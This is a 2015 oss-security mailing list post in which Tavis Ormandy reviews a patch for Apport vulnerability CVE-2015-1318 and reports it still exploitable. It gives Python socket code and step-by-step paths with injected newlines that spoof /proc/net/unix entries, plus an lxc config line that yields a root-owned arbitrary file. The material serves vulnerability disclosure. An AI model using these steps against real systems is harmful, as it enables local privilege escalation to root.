[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Wed, 15 Apr 2015 11:48:41 -0700
From: Tavis Ormandy <taviso@...gle.com>
To: Tyler Hicks <tyhicks@...onical.com>
Cc: oss-security@...ts.openwall.com,
Assign a CVE Identifier <cve-assign@...re.org>, security <security@...ntu.com>,
Stéphane Graber <stgraber@...ntu.com>
Subject: Re: Re: Problems in automatic crash analysis frameworks
On Tue, Apr 14, 2015 at 3:16 PM, Tyler Hicks <tyhicks@...onical.com> wrote:
> On 2015-04-14 14:10:12, Tavis Ormandy wrote:
>> On Tue, Apr 14, 2015 at 2:08 PM, Tavis Ormandy <taviso@...gle.com> wrote:
>> > On Tue, Apr 14, 2015 at 1:35 PM, Tavis Ormandy <taviso@...gle.com> wrote:
>> >> On Tue, Apr 14, 2015 at 9:02 AM, Marc Deslauriers
>> >> <marc.deslauriers@...onical.com> wrote:
>> >>> Hi,
>> >>>
>> >>> On 2015-04-14 11:55 AM, cve-assign@...re.org wrote:
>> >>>> This is mostly a question for the persons who assigned CVE-2015-1318
>> >>>> and CVE-2015-1862. Should these CVE assignments be interpreted to
>> >>>> mean:
>> >>>>
>> >>>> CVE-2015-1318 - in Apport, an unprivileged user can use a
>> >>>> namespace-based attack because there is an execve by
>> >>>> root after a chroot into a user-specified directory
>> >>>
>> >>> Yes, I assigned CVE-2015-1318 to that specific issue in Apport.
>> >>>
>> >>> Marc.
>> >>
>> >> It looks like this is the patch for Apport:
>> >>
>> >> http://bazaar.launchpad.net/~apport-hackers/apport/trunk/revision/2943#data/apport
>> >>
>> >> It's far more complicated than I expected, and not obviously correct.
>> >> It could probably use some review, I'll think about it today.
>> >>
>> >> Tavis.
>> >
>> > Wait, my first thought is that it's not obvious to me that
>> > /proc/net/unix is guaranteed to be newline delimited, newline is a
>> > perfectly valid name in a filename, no?
>> >
>> >>>> import socket
>> >>>> socket.socket(socket.AF_UNIX, socket.SOCK_STREAM).bind('test\ntest')
>> >>>> sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
>> >>>> sock.bind('/tmp/foo\nbar')
>> >>>> sock.listen(1)
>> >
>> > $ grep -A1 foo /proc/net/unix
>> > 0000000000000000: 00000002 00000000 00010000 0001 01 4772228 /tmp/foo
>> > bar
>>
>> And with complete control over this line, it seems like it's game over.
>>
>> container = lxc.Container(path[-2], real_path)
>>
>> I'm calling this re-broken.
>
> I've pointed Stéphane Graber to your analysis (and put him on cc). He's
> working on a fix.
>
> Even though it isn't clear if all of the checks added in revision 2943
> can be bypassed, it is worth coming up with another approach.
>
FWIW, I verified this is exploitable.
Just create a new directory like this:
'/tmp/\n0 1 2 3 4 5 6 /tmp/exploit/exploit/'
Then create a UNIX domain socket like this:
'/tmp/\n0 1 2 3 4 5 6 /tmp/exploit/exploit/command'
Now create a config file in there like this:
lxc.logfile = /etc/whatever
That gets you a root owned arbitrary file, now you can write arbitrary
contents to it by causing parse errors. I think if you create a filed
called `partial` it will also run hook commands when it tries to clean
up, but clearly this is enough.
Tavis.
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
